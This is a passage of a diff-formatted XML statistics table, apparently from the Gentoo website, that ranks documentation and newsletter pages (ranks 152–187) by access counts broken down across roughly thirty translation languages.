+<tr><ti>152.</ti><ti><uri link='/doc/en/postgres-howto.xml'>/doc/**/postgres-howto.xml</uri></ti><ti align='right'>11,294</ti><ti align='right'>5,476</ti><ti align='right'>2,112</ti><ti align='right'>690</ti><ti align='right'>809</ti><ti align='right'></ti><ti align='right'>942</ti><ti align='right'></ti><ti align='right'>870</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'>196</ti><ti align='right'></ti><ti align='right'>199</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti></tr>
+<tr><ti>153.</ti><ti><uri link='/news/20080122-kde4.xml'>/news/20080122-kde4.xml</uri></ti><ti align='right'>11,070</ti><ti align='right'>11,070</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti></tr>
+<tr><ti>154.</ti><ti><uri link='/doc/en/rsync.xml'>/doc/**/rsync.xml</uri></ti><ti align='right'>11,039</ti><ti align='right'>6,975</ti><ti align='right'>603</ti><ti align='right'>653</ti><ti align='right'>490</ti><ti align='right'></ti><ti align='right'>368</ti><ti align='right'>800</ti><ti align='right'>565</ti><ti align='right'></ti><ti align='right'>128</ti><ti align='right'>155</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'>108</ti><ti align='right'>71</ti><ti align='right'>123</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti></tr>
+<tr><ti>155.</ti><ti><uri link='/doc/en/handbook/2008.0/handbook-amd64.xml'>/doc/**/handbook/2008.0/handbook-amd64.xml</uri></ti><ti align='right'>11,000</ti><ti align='right'>7,249</ti><ti align='right'>973</ti><ti align='right'>721</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'>609</ti><ti align='right'></ti><ti align='right'>445</ti><ti align='right'>1,003</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti></tr>
+<tr><ti>156.</ti><ti><uri link='/proj/en/overlays/userguide.xml'>/proj/**/overlays/userguide.xml</uri></ti><ti align='right'>10,974</ti><ti align='right'>9,530</ti><ti align='right'>517</ti><ti align='right'></ti><ti align='right'>300</ti><ti align='right'></ti><ti align='right'>356</ti><ti align='right'></ti><ti align='right'>271</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti></tr>
+<tr><ti>157.</ti><ti><uri link='/doc/en/gnupg-user.xml'>/doc/**/gnupg-user.xml</uri></ti><ti align='right'>10,833</ti><ti align='right'>5,369</ti><ti align='right'>841</ti><ti align='right'>751</ti><ti align='right'>592</ti><ti align='right'>500</ti><ti align='right'>440</ti><ti align='right'>600</ti><ti align='right'>474</ti><ti align='right'></ti><ti align='right'>189</ti><ti align='right'>468</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'>129</ti><ti align='right'>99</ti><ti align='right'>122</ti><ti align='right'></ti><ti align='right'>152</ti><ti align='right'>53</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'>54</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti></tr>
+<tr><ti>158.</ti><ti><uri link='/doc/en/mysql-upgrading.xml'>/doc/**/mysql-upgrading.xml</uri></ti><ti align='right'>10,787</ti><ti align='right'>5,642</ti><ti align='right'>920</ti><ti align='right'>805</ti><ti align='right'>768</ti><ti align='right'></ti><ti align='right'>620</ti><ti align='right'>939</ti><ti align='right'>562</ti><ti align='right'>255</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'>276</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti></tr>
+<tr><ti>159.</ti><ti><uri link='/doc/en/ipv6.xml'>/doc/**/ipv6.xml</uri></ti><ti align='right'>10,590</ti><ti align='right'>5,359</ti><ti align='right'>895</ti><ti align='right'>960</ti><ti align='right'>890</ti><ti align='right'></ti><ti align='right'>446</ti><ti align='right'>1,331</ti><ti align='right'>441</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'>268</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti></tr>
+<tr><ti>160.</ti><ti><uri link='/doc/en/articles/bash-by-example-p1.xml'>/doc/**/articles/bash-by-example-p1.xml</uri></ti><ti align='right'>10,552</ti><ti align='right'>5,165</ti><ti align='right'>2,741</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'>858</ti><ti align='right'></ti><ti align='right'>1,413</ti><ti align='right'>375</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti></tr>
+<tr><th>Rank</th><th>Document</th><th>All</th><th>en</th><th>pl</th><th>de</th><th>fr</th><th>ru</th><th>it</th><th>ja</th><th>es</th><th>zh_cn</th><th>pt_br</th><th>zh_tw</th><th>fi</th><th>cs</th><th>ro</th><th>id</th><th>nl</th><th>hu</th><th>da</th><th>tr</th><th>ko</th><th>el</th><th>sk</th><th>pt</th><th>vi</th><th>lt</th><th>sv</th><th>he</th><th>ca</th><th>ar</th><th>sr</th></tr>
+<tr><ti>161.</ti><ti><uri link='/news/en/gwn/20030401-newsletter.xml'>/news/**/gwn/20030401-newsletter.xml</uri></ti><ti align='right'>10,391</ti><ti align='right'>8,862</ti><ti align='right'></ti><ti align='right'>228</ti><ti align='right'>240</ti><ti align='right'></ti><ti align='right'>160</ti><ti align='right'>161</ti><ti align='right'>149</ti><ti align='right'></ti><ti align='right'>156</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'>232</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'>203</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti></tr>
+<tr><ti>162.</ti><ti><uri link='/proj/en/php/php4-php5-configuration.xml'>/proj/**/php/php4-php5-configuration.xml</uri></ti><ti align='right'>10,347</ti><ti align='right'>10,347</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti></tr>
+<tr><ti>163.</ti><ti><uri link='/doc/en/xen-guide.xml'>/doc/**/xen-guide.xml</uri></ti><ti align='right'>10,267</ti><ti align='right'>8,067</ti><ti align='right'>435</ti><ti align='right'></ti><ti align='right'>1,184</ti><ti align='right'></ti><ti align='right'>80</ti><ti align='right'></ti><ti align='right'>501</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti></tr>
+<tr><ti>164.</ti><ti><uri link='/news/en/gwn/20071015-newsletter.xml'>/news/**/gwn/20071015-newsletter.xml</uri></ti><ti align='right'>10,160</ti><ti align='right'>9,286</ti><ti align='right'></ti><ti align='right'>270</ti><ti align='right'>191</ti><ti align='right'></ti><ti align='right'>161</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'>149</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'>103</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti></tr>
+<tr><ti>165.</ti><ti><uri link='/doc/en/cross-compiling-distcc.xml'>/doc/**/cross-compiling-distcc.xml</uri></ti><ti align='right'>10,061</ti><ti align='right'>7,529</ti><ti align='right'>448</ti><ti align='right'></ti><ti align='right'>467</ti><ti align='right'></ti><ti align='right'>279</ti><ti align='right'>789</ti><ti align='right'>233</ti><ti align='right'></ti><ti align='right'>151</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'>93</ti><ti align='right'>72</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti></tr>
+<tr><ti>166.</ti><ti><uri link='/doc/en/ltsp.xml'>/doc/**/ltsp.xml</uri></ti><ti align='right'>9,805</ti><ti align='right'>3,755</ti><ti align='right'>761</ti><ti align='right'>913</ti><ti align='right'>479</ti><ti align='right'>774</ti><ti align='right'>614</ti><ti align='right'>1,224</ti><ti align='right'>722</ti><ti align='right'>4</ti><ti align='right'></ti><ti align='right'>446</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'>113</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti></tr>
+<tr><ti>167.</ti><ti><uri link='/proj/en/base/ppc64/ps3/index.xml'>/proj/**/base/ppc64/ps3/index.xml</uri></ti><ti align='right'>9,667</ti><ti align='right'>9,667</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti></tr>
+<tr><ti>168.</ti><ti><uri link='/doc/en/articles/index.xml'>/doc/**/articles/index.xml</uri></ti><ti align='right'>9,549</ti><ti align='right'>8,116</ti><ti align='right'>791</ti><ti align='right'>57</ti><ti align='right'>131</ti><ti align='right'>5</ti><ti align='right'>277</ti><ti align='right'></ti><ti align='right'>148</ti><ti align='right'>24</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti></tr>
+<tr><ti>169.</ti><ti><uri link='/news/20080112-release-status.xml'>/news/20080112-release-status.xml</uri></ti><ti align='right'>9,461</ti><ti align='right'>9,461</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti></tr>
+<tr><ti>170.</ti><ti><uri link='/doc/en/gcc-optimization.xml'>/doc/**/gcc-optimization.xml</uri></ti><ti align='right'>9,269</ti><ti align='right'>6,653</ti><ti align='right'>836</ti><ti align='right'>711</ti><ti align='right'>133</ti><ti align='right'></ti><ti align='right'>462</ti><ti align='right'></ti><ti align='right'>474</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti></tr>
+<tr><ti>171.</ti><ti><uri link='/news/en/gwn/20080119-newsletter.xml'>/news/**/gwn/20080119-newsletter.xml</uri></ti><ti align='right'>9,240</ti><ti align='right'>8,643</ti><ti align='right'></ti><ti align='right'>351</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'>138</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'>108</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti></tr>
+<tr><ti>172.</ti><ti><uri link='/doc/en/kernel-config.xml'>/doc/**/kernel-config.xml</uri></ti><ti align='right'>9,233</ti><ti align='right'>5,792</ti><ti align='right'>1,243</ti><ti align='right'></ti><ti align='right'>622</ti><ti align='right'></ti><ti align='right'>640</ti><ti align='right'></ti><ti align='right'>614</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'>167</ti><ti align='right'></ti><ti align='right'>155</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti></tr>
+<tr><ti>173.</ti><ti><uri link='/doc/en/nano-basics-guide.xml'>/doc/**/nano-basics-guide.xml</uri></ti><ti align='right'>9,136</ti><ti align='right'>3,059</ti><ti align='right'>356</ti><ti align='right'>1,025</ti><ti align='right'>330</ti><ti align='right'>499</ti><ti align='right'>567</ti><ti align='right'>1,788</ti><ti align='right'>482</ti><ti align='right'>322</ti><ti align='right'>132</ti><ti align='right'>198</ti><ti align='right'></ti><ti align='right'>124</ti><ti align='right'>46</ti><ti align='right'>38</ti><ti align='right'>63</ti><ti align='right'>34</ti><ti align='right'>59</ti><ti align='right'></ti><ti align='right'>10</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'>4</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti></tr>
+<tr><ti>174.</ti><ti><uri link='/doc/en/change-chost.xml'>/doc/**/change-chost.xml</uri></ti><ti align='right'>8,605</ti><ti align='right'>7,030</ti><ti align='right'>463</ti><ti align='right'></ti><ti align='right'>390</ti><ti align='right'></ti><ti align='right'>332</ti><ti align='right'></ti><ti align='right'>235</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'>37</ti><ti align='right'>118</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti></tr>
+<tr><ti>175.</ti><ti><uri link='/proj/en/releng/catalyst/index.xml'>/proj/**/releng/catalyst/index.xml</uri></ti><ti align='right'>8,599</ti><ti align='right'>8,598</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'>1</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti></tr>
+<tr><ti>176.</ti><ti><uri link='/news/20080124_releng-feature-request.xml'>/news/20080124_releng-feature-request.xml</uri></ti><ti align='right'>8,573</ti><ti align='right'>8,573</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti></tr>
+<tr><ti>177.</ti><ti><uri link='/doc/en/vpnc-howto.xml'>/doc/**/vpnc-howto.xml</uri></ti><ti align='right'>8,570</ti><ti align='right'>6,964</ti><ti align='right'>732</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'>461</ti><ti align='right'></ti><ti align='right'>413</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti></tr>
+<tr><ti>178.</ti><ti><uri link='/doc/en/vdr-guide.xml'>/doc/**/vdr-guide.xml</uri></ti><ti align='right'>8,477</ti><ti align='right'>5,744</ti><ti align='right'>97</ti><ti align='right'></ti><ti align='right'>847</ti><ti align='right'></ti><ti align='right'>806</ti><ti align='right'></ti><ti align='right'>341</ti><ti align='right'>551</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'>91</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti></tr>
+<tr><ti>179.</ti><ti><uri link='/doc/en/keychain-guide.xml'>/doc/**/keychain-guide.xml</uri></ti><ti align='right'>8,286</ti><ti align='right'>2,951</ti><ti align='right'>508</ti><ti align='right'>493</ti><ti align='right'>664</ti><ti align='right'></ti><ti align='right'>257</ti><ti align='right'>2,394</ti><ti align='right'>356</ti><ti align='right'>230</ti><ti align='right'>143</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'>73</ti><ti align='right'>80</ti><ti align='right'>121</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'>16</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti></tr>
+<tr><ti>180.</ti><ti><uri link='/doc/en/articles/l-sed2.xml'>/doc/**/articles/l-sed2.xml</uri></ti><ti align='right'>8,234</ti><ti align='right'>4,287</ti><ti align='right'>2,237</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'>765</ti><ti align='right'></ti><ti align='right'>945</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti></tr>
+<tr><th>Rank</th><th>Document</th><th>All</th><th>en</th><th>pl</th><th>de</th><th>fr</th><th>ru</th><th>it</th><th>ja</th><th>es</th><th>zh_cn</th><th>pt_br</th><th>zh_tw</th><th>fi</th><th>cs</th><th>ro</th><th>id</th><th>nl</th><th>hu</th><th>da</th><th>tr</th><th>ko</th><th>el</th><th>sk</th><th>pt</th><th>vi</th><th>lt</th><th>sv</th><th>he</th><th>ca</th><th>ar</th><th>sr</th></tr>
+<tr><ti>181.</ti><ti><uri link='/doc/en/articles/bash-by-example-p2.xml'>/doc/**/articles/bash-by-example-p2.xml</uri></ti><ti align='right'>8,123</ti><ti align='right'>3,138</ti><ti align='right'>2,603</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'>1,023</ti><ti align='right'></ti><ti align='right'>1,100</ti><ti align='right'>259</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti></tr>
+<tr><ti>182.</ti><ti><uri link='/proj/en/java/java-upgrade.xml'>/proj/**/java/java-upgrade.xml</uri></ti><ti align='right'>7,881</ti><ti align='right'>6,759</ti><ti align='right'>343</ti><ti align='right'>281</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'>297</ti><ti align='right'>193</ti><ti align='right'>8</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti></tr>
+<tr><ti>183.</ti><ti><uri link='/proj/en/base/amd64/index.xml'>/proj/**/base/amd64/index.xml</uri></ti><ti align='right'>7,554</ti><ti align='right'>7,554</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti></tr>
+<tr><ti>184.</ti><ti><uri link='/news/en/gwn/20050124-newsletter.xml'>/news/**/gwn/20050124-newsletter.xml</uri></ti><ti align='right'>7,458</ti><ti align='right'>3,815</ti><ti align='right'>331</ti><ti align='right'>548</ti><ti align='right'>583</ti><ti align='right'></ti><ti align='right'>415</ti><ti align='right'>241</ti><ti align='right'>618</ti><ti align='right'></ti><ti align='right'>297</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'>610</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti></tr>
+<tr><ti>185.</ti><ti><uri link='/proj/en/devrel/staffing-needs/index.xml'>/proj/**/devrel/staffing-needs/index.xml</uri></ti><ti align='right'>7,074</ti><ti align='right'>7,074</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti></tr>
+<tr><ti>186.</ti><ti><uri link='/doc/en/gpm.xml'>/doc/**/gpm.xml</uri></ti><ti align='right'>6,718</ti><ti align='right'>3,161</ti><ti align='right'>499</ti><ti align='right'>575</ti><ti align='right'>375</ti><ti align='right'>582</ti><ti align='right'>253</ti><ti align='right'>341</ti><ti align='right'>318</ti><ti align='right'>277</ti><ti align='right'>151</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'>43</ti><ti align='right'>75</ti><ti align='right'>58</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'>10</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti></tr>
+<tr><ti>187.</ti><ti><uri link='/doc/en/devfs-guide.xml'>/doc/**/devfs-guide.xml</uri></ti><ti align='right'>6,665</ti><ti align='right'>2,331</ti><ti align='right'>420</ti><ti align='right'>479</ti><ti align='right'>288</ti><ti align='right'>511</ti><ti align='right'>331</ti><ti align='right'>1,542</ti><ti align='right'>407</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'>148</ti><ti align='right'>87</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'>100</ti><ti align='right'></ti><ti align='right'>21</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti></tr>
